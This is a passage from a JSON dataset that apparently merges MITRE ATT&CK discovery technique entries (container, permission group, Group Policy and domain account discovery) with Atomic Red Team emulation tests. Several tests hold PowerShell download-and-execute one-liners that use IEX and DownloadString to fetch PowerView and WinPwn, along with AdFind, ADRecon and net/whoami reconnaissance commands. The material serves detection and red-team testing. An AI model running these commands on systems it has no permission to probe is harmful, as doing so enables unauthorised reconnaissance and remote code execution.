- "name": "User Discovery With Env Vars PowerShell Script",
- "auto_generated_guid": "dcb6cdee-1fb0-4087-8bf8-88cfd136ba51",
- "description": "Use the PowerShell environment variables to identify the current logged user.",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "[System.Environment]::UserName | Out-File -FilePath .\\CurrentactiveUser.txt \n$env:UserName | Out-File -FilePath .\\CurrentactiveUser.txt -Append\n",
- "cleanup_command": "Remove-Item -Path .\\CurrentactiveUser.txt -Force\n",
- "name": "powershell"
- }
- },
- {
- "name": "GetCurrent User with PowerShell Script",
- "auto_generated_guid": "1392bd0f-5d5a-429e-81d9-eb9d4d4d5b3b",
- "description": "Use the PowerShell \"GetCurrent\" method of the WindowsIdentity .NET class to identify the logged user.",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "[System.Security.Principal.WindowsIdentity]::GetCurrent() | Out-File -FilePath .\\CurrentUserObject.txt\n",
- "cleanup_command": "Remove-Item -Path .\\CurrentUserObject.txt -Force\n",
- "name": "powershell"
- }
- },
- {
- "name": "System Discovery - SocGholish whoami",
- "auto_generated_guid": "3d257a03-eb80-41c5-b744-bb37ac7f65c7",
- "description": "SocGholish performs whoami discovery commands and outputs the results to a tmp file. \nThe test will generate a filename similar to the random one generated during execution and write the file to AppData\\Temp.\n\nReference: https://redcanary.com/threat-detection-report/threats/socgholish/\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "output_path": {
- "description": "Location of output file",
- "type": "string",
- "default": "$env:temp"
- }
- },
- "executor": {
- "command": "$TokenSet = @{\n U = [Char[]]'ABCDEFGHIJKLMNOPQRSTUVWXYZ'\n N = [Char[]]'0123456789'\n}\n$Upper = Get-Random -Count 5 -InputObject $TokenSet.U\n$Number = Get-Random -Count 5 -InputObject $TokenSet.N\n$StringSet = $Upper + $Number\n$rad = (Get-Random -Count 5 -InputObject $StringSet) -join ''\n$file = \"rad\" + $rad + \".tmp\"\n\nwhoami.exe /all >> #{output_path}\\$file\n",
- "cleanup_command": "Remove-Item -Path #{output_path}\\rad*.tmp -Force\n",
- "name": "powershell"
- }
- }
- ]
- },
- "T1613": {
- "technique": {
- "x_mitre_platforms": [
- "Containers"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Vishwas Manral, McAfee",
- "Center for Threat-Informed Defense (CTID)",
- "Yossi Weizman, Azure Defender Research Team"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--0470e792-32f8-46b0-a351-652bc35e9336",
- "type": "attack-pattern",
- "created": "2021-03-31T14:26:00.848Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1613",
- "url": "https://attack.mitre.org/techniques/T1613"
- },
- {
- "source_name": "Docker API",
- "url": "https://docs.docker.com/engine/api/v1.41/",
- "description": "Docker. (n.d.). Docker Engine API v1.41 Reference. Retrieved March 31, 2021."
- },
- {
- "source_name": "Kubernetes API",
- "url": "https://kubernetes.io/docs/concepts/overview/kubernetes-api/",
- "description": "The Kubernetes Authors. (n.d.). The Kubernetes API. Retrieved March 29, 2021."
- }
- ],
- "modified": "2021-04-12T18:22:05.737Z",
- "name": "Container and Resource Discovery",
- "description": "Adversaries may attempt to discover containers and other resources that are available within a containers environment. Other resources may include images, deployments, pods, nodes, and other information such as the status of a cluster.\n\nThese resources can be viewed within web applications such as the Kubernetes dashboard or can be queried via the Docker and Kubernetes APIs.(Citation: Docker API)(Citation: Kubernetes API) In Docker, logs may leak information about the environment, such as the environment\u2019s configuration, which services are available, and what cloud provider the victim may be utilizing. The discovery of these resources may inform an adversary\u2019s next steps in the environment, such as how to perform lateral movement and which methods to utilize for execution. ",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "discovery"
- }
- ],
- "x_mitre_detection": "Establish centralized logging for the activity of container and Kubernetes cluster components. This can be done by deploying logging agents on Kubernetes nodes and retrieving logs from sidecar proxies for application pods to detect malicious activity at the cluster level.\n\nMonitor logs for actions that could be taken to gather information about container infrastructure, including the use of discovery API calls by new or unexpected users. Monitor account activity logs to see actions performed and activity associated with the Kubernetes dashboard and other web applications. ",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Pod: Pod Enumeration",
- "Application Log: Application Log Content",
- "Cluster: Cluster Metadata",
- "Pod: Pod Metadata",
- "Container: Container Metadata",
- "Container: Container Enumeration"
- ],
- "x_mitre_permissions_required": [
- "User"
- ],
- "identifier": "T1613"
- },
- "atomic_tests": []
- },
- "T1016.001": {
- "technique": {
- "x_mitre_platforms": [
- "Windows",
- "Linux",
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--132d5b37-aac5-4378-a8dc-3127b18a73dc",
- "type": "attack-pattern",
- "created": "2021-03-17T15:28:10.689Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1016.001",
- "url": "https://attack.mitre.org/techniques/T1016/001"
- }
- ],
- "modified": "2021-03-25T17:03:26.632Z",
- "name": "Internet Connection Discovery",
- "description": "Adversaries may check for Internet connectivity on compromised systems. This may be performed during automated discovery and can be accomplished in numerous ways such as using [Ping](https://attack.mitre.org/software/S0097), tracert
, and GET requests to websites.\n\nAdversaries may use the results and responses from these requests to determine if the system is capable of communicating with their C2 servers before attempting to connect to them. The results may also be used to identify routes, redirectors, and proxy servers.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "discovery"
- }
- ],
- "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Command and Control, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to check Internet connectivity.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Command: Command Execution",
- "Process: Process Creation"
- ],
- "x_mitre_permissions_required": [
- "User"
- ]
- },
- "atomic_tests": []
- },
- "T1069": {
- "technique": {
- "x_mitre_platforms": [
- "Windows",
- "Azure AD",
- "Office 365",
- "SaaS",
- "IaaS",
- "Linux",
- "macOS",
- "Google Workspace",
- "Containers"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Daniel Prizmant, Palo Alto Networks",
- "Yuval Avrahami, Palo Alto Networks",
- "Microsoft Threat Intelligence Center (MSTIC)"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce",
- "type": "attack-pattern",
- "created": "2017-05-31T21:30:55.471Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1069",
- "url": "https://attack.mitre.org/techniques/T1069"
- },
- {
- "external_id": "CAPEC-576",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/576.html"
- },
- {
- "source_name": "K8s Authorization Overview",
- "url": "https://kubernetes.io/docs/reference/access-authn-authz/authorization/",
- "description": "Kubernetes. (n.d.). Authorization Overview. Retrieved June 24, 2021."
- }
- ],
- "modified": "2021-10-15T18:10:53.423Z",
- "name": "Permission Groups Discovery",
- "description": "Adversaries may attempt to find group and permission settings. This information can help adversaries determine which user accounts and groups are available, the membership of users in particular groups, and which users and groups have elevated permissions.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "discovery"
- }
- ],
- "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). Monitor container logs for commands and/or API calls related to listing permissions for pods and nodes, such as kubectl auth can-i
.(Citation: K8s Authorization Overview)",
- "x_mitre_version": "2.4",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Pod: Pod Metadata",
- "Command: Command Execution",
- "Group: Group Metadata",
- "Process: Process Creation",
- "Application Log: Application Log Content",
- "Group: Group Enumeration"
- ],
- "x_mitre_permissions_required": [
- "User"
- ]
- },
- "atomic_tests": []
- },
- "T1069.003": {
- "technique": {
- "x_mitre_platforms": [
- "Azure AD",
- "Office 365",
- "SaaS",
- "IaaS",
- "Google Workspace"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Regina Elwell",
- "Isif Ibrahima, Mandiant"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--16e94db9-b5b1-4cd0-b851-f38fbd0a70f2",
- "created": "2020-02-21T21:15:33.222Z",
- "x_mitre_version": "1.3",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1069.003",
- "url": "https://attack.mitre.org/techniques/T1069/003"
- },
- {
- "source_name": "AWS Get Bucket ACL",
- "url": "https://docs.aws.amazon.com/AmazonS3/latest/API/API_GetBucketAcl.html",
- "description": "Amazon Web Services. (n.d.). Retrieved May 28, 2021."
- },
- {
- "source_name": "Black Hills Red Teaming MS AD Azure, 2018",
- "url": "https://www.blackhillsinfosec.com/red-teaming-microsoft-part-1-active-directory-leaks-via-azure/",
- "description": "Felch, M.. (2018, August 31). Red Teaming Microsoft Part 1 Active Directory Leaks via Azure. Retrieved October 6, 2019."
- },
- {
- "source_name": "Google Cloud Identity API Documentation",
- "url": "https://cloud.google.com/identity/docs/reference/rest",
- "description": "Google. (n.d.). Retrieved March 16, 2021."
- },
- {
- "source_name": "Microsoft AZ CLI",
- "url": "https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest",
- "description": "Microsoft. (n.d.). az ad user. Retrieved October 6, 2019."
- },
- {
- "source_name": "Microsoft Msolrole",
- "url": "https://docs.microsoft.com/en-us/powershell/module/msonline/get-msolrole?view=azureadps-1.0",
- "description": "Microsoft. (n.d.). Get-MsolRole. Retrieved October 6, 2019."
- },
- {
- "source_name": "GitHub Raindance",
- "url": "https://github.com/True-Demon/raindance",
- "description": "Stringer, M.. (2018, November 21). RainDance. Retrieved October 6, 2019."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may attempt to find cloud groups and permission settings. The knowledge of cloud permission groups can help adversaries determine the particular roles of users and groups within an environment, as well as which users are associated with a particular group.\n\nWith authenticated access there are several tools that can be used to find permissions groups. The Get-MsolRole
PowerShell cmdlet can be used to obtain roles and permissions groups for Exchange and Office 365 accounts (Citation: Microsoft Msolrole)(Citation: GitHub Raindance).\n\nAzure CLI (AZ CLI) and the Google Cloud Identity Provider API also provide interfaces to obtain permissions groups. The command az ad user get-member-groups
will list groups associated to a user account for Azure while the API endpoint GET https://cloudidentity.googleapis.com/v1/groups
lists group resources available to a user for Google.(Citation: Microsoft AZ CLI)(Citation: Black Hills Red Teaming MS AD Azure, 2018)(Citation: Google Cloud Identity API Documentation)\n\nAdversaries may attempt to list ACLs for objects to determine the owner and other accounts with access to the object, for example, via the AWS GetBucketAcl
API (Citation: AWS Get Bucket ACL). Using this information an adversary can target accounts with permissions to a given object or leverage accounts they have already compromised to access the object.",
- "modified": "2022-04-19T02:44:58.838Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Cloud Groups",
- "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Activity and account logs for the cloud services can also be monitored for suspicious commands that are anomalous compared to a baseline of normal activity.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "discovery"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "Process: Process Creation",
- "Application Log: Application Log Content",
- "Group: Group Metadata",
- "Command: Command Execution",
- "Group: Group Enumeration"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1615": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Ted Samuels, Rapid7",
- "Jonhnathan Ribeiro, 3CORESec, @_w0rk3r"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--1b20efbf-8063-4fc3-a07d-b575318a301b",
- "type": "attack-pattern",
- "created": "2021-08-06T13:10:12.916Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1615",
- "url": "https://attack.mitre.org/techniques/T1615"
- },
- {
- "source_name": "TechNet Group Policy Basics",
- "url": "https://blogs.technet.microsoft.com/musings_of_a_technical_tam/2012/02/13/group-policy-basics-part-1-understanding-the-structure-of-a-group-policy-object/",
- "description": "srachui. (2012, February 13). Group Policy Basics \u2013 Part 1: Understanding the Structure of a Group Policy Object. Retrieved March 5, 2019."
- },
- {
- "source_name": "ADSecurity GPO Persistence 2016",
- "url": "https://adsecurity.org/?p=2716",
- "description": "Metcalf, S. (2016, March 14). Sneaky Active Directory Persistence #17: Group Policy. Retrieved March 5, 2019."
- },
- {
- "source_name": "Microsoft gpresult",
- "url": "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/gpresult",
- "description": "Microsoft. (2017, October 16). gpresult. Retrieved August 6, 2021."
- },
- {
- "url": "https://github.com/PowerShellEmpire/Empire",
- "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.",
- "source_name": "Github PowerShell Empire"
- }
- ],
- "modified": "2021-10-15T23:16:28.296Z",
- "name": "Group Policy Discovery",
- "description": "Adversaries may gather information on Group Policy settings to identify paths for privilege escalation, security measures applied within a domain, and to discover patterns in domain objects that can be manipulated or used to blend in the environment. Group Policy allows for centralized management of user and computer settings in Active Directory (AD). Group policy objects (GPOs) are containers for group policy settings made up of files stored within a predicable network path \\\\SYSVOL\\\\Policies\\
.(Citation: TechNet Group Policy Basics)(Citation: ADSecurity GPO Persistence 2016)\n\nAdversaries may use commands such as gpresult
or various publicly available PowerShell functions, such as Get-DomainGPO
and Get-DomainGPOLocalGroup
, to gather information on Group Policy settings.(Citation: Microsoft gpresult)(Citation: Github PowerShell Empire) Adversaries may use this information to shape follow-on behaviors, including determining potential attack paths within the target network as well as opportunities to manipulate Group Policy settings (i.e. [Domain Policy Modification](https://attack.mitre.org/techniques/T1484)) for their benefit.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "discovery"
- }
- ],
- "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor for suspicious use of gpresult
. Monitor for the use of PowerShell functions such as Get-DomainGPO
and Get-DomainGPOLocalGroup
and processes spawning with command-line arguments containing GPOLocalGroup
.\n\nMonitor for abnormal LDAP queries with filters for groupPolicyContainer
and high volumes of LDAP traffic to domain controllers. Windows Event ID 4661 can also be used to detect when a directory service has been accessed.",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Command: Command Execution",
- "Script: Script Execution",
- "Process: Process Creation",
- "Network Traffic: Network Traffic Content",
- "Active Directory: Active Directory Object Access"
- ],
- "x_mitre_permissions_required": [
- "User"
- ],
- "identifier": "T1615"
- },
- "atomic_tests": [
- {
- "name": "Display group policy information via gpresult",
- "auto_generated_guid": "0976990f-53b1-4d3f-a185-6df5be429d3b",
- "description": "Uses the built-in Windows utility gpresult to display the Resultant Set of Policy (RSoP) information for a remote user and computer\nThe /z parameter displays all available information about Group Policy. More parameters can be found in the linked Microsoft documentation\nhttps://docs.microsoft.com/en-us/windows-server/administration/windows-commands/gpresult\nhttps://unit42.paloaltonetworks.com/emissary-trojan-changelog-did-operation-lotus-blossom-cause-it-to-evolve/\nTurla has used the /z and /v parameters: https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "name": "command_prompt",
- "elevation_required": false,
- "command": "gpresult /z\n"
- }
- },
- {
- "name": "Get-DomainGPO to display group policy information via PowerView",
- "auto_generated_guid": "4e524c4e-0e02-49aa-8df5-93f3f7959b9f",
- "description": "Use PowerView to Get-DomainGPO This will only work on Windows 10 Enterprise and A DC Windows 2019.",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "powershell -nop -exec bypass -c \"IEX (New-Object Net.WebClient).DownloadString('https://github.com/BC-SECURITY/Empire/blob/86921fbbf4945441e2f9d9e7712c5a6e96eed0f3/empire/server/data/module_source/situational_awareness/network/powerview.ps1'); Get-DomainGPO\"",
- "name": "powershell",
- "elevation_required": true
- }
- },
- {
- "name": "WinPwn - GPOAudit",
- "auto_generated_guid": "bc25c04b-841e-4965-855f-d1f645d7ab73",
- "description": "Check domain Group policies for common misconfigurations using Grouper2 via GPOAudit function of WinPwn",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'\niex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\nGPOAudit -noninteractive -consoleoutput",
- "name": "powershell"
- }
- },
- {
- "name": "WinPwn - GPORemoteAccessPolicy",
- "auto_generated_guid": "7230d01a-0a72-4bd5-9d7f-c6d472bc6a59",
- "description": "Enumerate remote access policies through group policy using GPORemoteAccessPolicy function of WinPwn",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'\niex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\nGPORemoteAccessPolicy -consoleoutput -noninteractive",
- "name": "powershell"
- }
- },
- {
- "name": "MSFT Get-GPO Cmdlet",
- "auto_generated_guid": "52778a8f-a10b-41a4-9eae-52ddb74072bf",
- "description": "The Get-GPO cmdlet gets one Group Policy Object (GPO) or all the GPOs in a domain. Tested on Windows Server 2019 as a domain user with computer joined to domain. Reference: https://docs.microsoft.com/en-us/powershell/module/grouppolicy/get-gpo?view=windowsserver2022-ps",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "gpo_output": {
- "description": "The output of the Get-GPO cmdlet",
- "type": "string",
- "default": "$env:temp\\GPO_Output.txt"
- },
- "gpo_param": {
- "description": "You can specify a GPO by its display name or by its globally unique identifier (GUID) to get a single GPO, or you can get all the GPOs in the domain through the All parameter",
- "type": "string",
- "default": "-All"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Add Rsat.ActiveDirectory.DS",
- "prereq_command": "if(Get-WindowsCapability -Online -Name Rsat.ActiveDirectory.DS-LDS.Tools~~~~0.0.1.0 | Where-Object { $_.State -eq 'Installed' }){ exit 0 } else { exit 1 }",
- "get_prereq_command": "Add-WindowsCapability -online -Name Rsat.ActiveDirectory.DS-LDS.Tools~~~~0.0.1.0"
- },
- {
- "description": "Add Rsat.GroupPolicy.Management.Tools ###Two RSAT Modules needed for this to work on Win10, WinServer 2019 works by default. This will take a long time (almost 2 minutes) to install RSAT Manually###.",
- "prereq_command": "if(Get-WindowsCapability -Online -Name Rsat.GroupPolicy.Management.Tools~~~~0.0.1.0 | Where-Object { $_.State -eq 'Installed' }){ exit 0 } else { exit 1 }",
- "get_prereq_command": "Add-WindowsCapability -online -Name Rsat.GroupPolicy.Management.Tools~~~~0.0.1.0"
- }
- ],
- "executor": {
- "command": "Get-GPO -Domain $ENV:userdnsdomain #{gpo_param} >> #{gpo_output}",
- "cleanup_command": "del $env:temp\\GPO_Output.txt -erroraction silentlycontinue",
- "name": "powershell",
- "elevation_required": true
- }
- }
- ]
- },
- "T1087.002": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af",
- "type": "attack-pattern",
- "created": "2020-02-21T21:08:26.480Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1087.002",
- "url": "https://attack.mitre.org/techniques/T1087/002"
- },
- {
- "external_id": "CAPEC-575",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/575.html"
- }
- ],
- "modified": "2021-10-13T14:05:14.784Z",
- "name": "Account Discovery: Domain Account",
- "description": "Adversaries may attempt to get a listing of domain accounts. This information can help adversaries determine which domain accounts exist to aid in follow-on behavior.\n\nCommands such as net user /domain
and net group /domain
of the [Net](https://attack.mitre.org/software/S0039) utility, dscacheutil -q group
on macOS, and ldapsearch
on Linux can list domain users and groups.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "discovery"
- }
- ],
- "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Command: Command Execution",
- "Process: Process Creation",
- "Process: OS API Execution"
- ],
- "x_mitre_permissions_required": [
- "User"
- ],
- "identifier": "T1087.002"
- },
- "atomic_tests": [
- {
- "name": "Enumerate all accounts (Domain)",
- "auto_generated_guid": "6fbc9e68-5ad7-444a-bd11-8bf3136c477e",
- "description": "Enumerate all accounts\nUpon exection, multiple enumeration commands will be run and their output displayed in the PowerShell session\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "net user /domain\nnet group /domain\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "Enumerate all accounts via PowerShell (Domain)",
- "auto_generated_guid": "8b8a6449-be98-4f42-afd2-dedddc7453b2",
- "description": "Enumerate all accounts via PowerShell. Upon execution, lots of user account and group information will be displayed.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "net user /domain\nget-localgroupmember -group Users\nget-aduser -filter *\n",
- "name": "powershell"
- }
- },
- {
- "name": "Enumerate logged on users via CMD (Domain)",
- "auto_generated_guid": "161dcd85-d014-4f5e-900c-d3eaae82a0f7",
- "description": "Enumerate logged on users. Upon exeuction, logged on users will be displayed.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "computer_name": {
- "description": "Name of remote system to query",
- "type": "string",
- "default": "%COMPUTERNAME%"
- }
- },
- "executor": {
- "command": "query user /SERVER:#{computer_name}\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "Automated AD Recon (ADRecon)",
- "auto_generated_guid": "95018438-454a-468c-a0fa-59c800149b59",
- "description": "ADRecon extracts and combines information about an AD environement into a report. Upon execution, an Excel file with all of the data will be generated and its\npath will be displayed.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "adrecon_path": {
- "description": "Path of ADRecon.ps1 file",
- "type": "path",
- "default": "$env:TEMP\\ADRecon.ps1"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "ADRecon must exist on disk at specified location (#{adrecon_path})\n",
- "prereq_command": "if (Test-Path #{adrecon_path}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "Invoke-WebRequest -Uri \"https://raw.githubusercontent.com/sense-of-security/ADRecon/38e4abae3e26d0fa87281c1d0c65cabd4d3c6ebd/ADRecon.ps1\" -OutFile #{adrecon_path}\n"
- }
- ],
- "executor": {
- "command": "Invoke-Expression #{adrecon_path}\n",
- "cleanup_command": "Remove-Item #{adrecon_path} -Force -ErrorAction Ignore | Out-Null\nGet-ChildItem $env:TEMP -Recurse -Force | Where{$_.Name -Match \"^ADRecon-Report-\"} | Remove-Item -Force -Recurse\n",
- "name": "powershell"
- }
- },
- {
- "name": "Adfind -Listing password policy",
- "auto_generated_guid": "736b4f53-f400-4c22-855d-1a6b5a551600",
- "description": "Adfind tool can be used for reconnaissance in an Active directory environment. The example chosen illustrates adfind used to query the local password policy.\nreference- http://www.joeware.net/freetools/tools/adfind/, https://social.technet.microsoft.com/wiki/contents/articles/7535.adfind-command-examples.aspx\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "adfind_path": {
- "description": "Path to the AdFind executable",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1087.002\\src\\AdFind.exe"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "AdFind.exe must exist on disk at specified location (#{adfind_path})\n",
- "prereq_command": "if (Test-Path #{adfind_path}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory (split-path #{adfind_path}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest -Uri \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1087.002/src/AdFind.exe\" -OutFile #{adfind_path}\n"
- }
- ],
- "executor": {
- "command": "#{adfind_path} -default -s base lockoutduration lockoutthreshold lockoutobservationwindow maxpwdage minpwdage minpwdlength pwdhistorylength pwdproperties\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "Adfind - Enumerate Active Directory Admins",
- "auto_generated_guid": "b95fd967-4e62-4109-b48d-265edfd28c3a",
- "description": "Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Admin accounts\nreference- http://www.joeware.net/freetools/tools/adfind/, https://stealthbits.com/blog/fun-with-active-directorys-admincount-attribute/\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "adfind_path": {
- "description": "Path to the AdFind executable",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1087.002\\src\\AdFind.exe"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "AdFind.exe must exist on disk at specified location (#{adfind_path})\n",
- "prereq_command": "if (Test-Path #{adfind_path}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory (split-path #{adfind_path}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest -Uri \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1087.002/src/AdFind.exe\" -OutFile #{adfind_path}\n"
- }
- ],
- "executor": {
- "command": "#{adfind_path} -sc admincountdmp\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "Adfind - Enumerate Active Directory User Objects",
- "auto_generated_guid": "e1ec8d20-509a-4b9a-b820-06c9b2da8eb7",
- "description": "Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory User Objects\nreference- http://www.joeware.net/freetools/tools/adfind/, https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "adfind_path": {
- "description": "Path to the AdFind executable",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1087.002\\src\\AdFind.exe"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "AdFind.exe must exist on disk at specified location (#{adfind_path})\n",
- "prereq_command": "if (Test-Path #{adfind_path}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory (split-path #{adfind_path}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest -Uri \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1087.002/src/AdFind.exe\" -OutFile #{adfind_path}\n"
- }
- ],
- "executor": {
- "command": "#{adfind_path} -f (objectcategory=person)\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "Adfind - Enumerate Active Directory Exchange AD Objects",
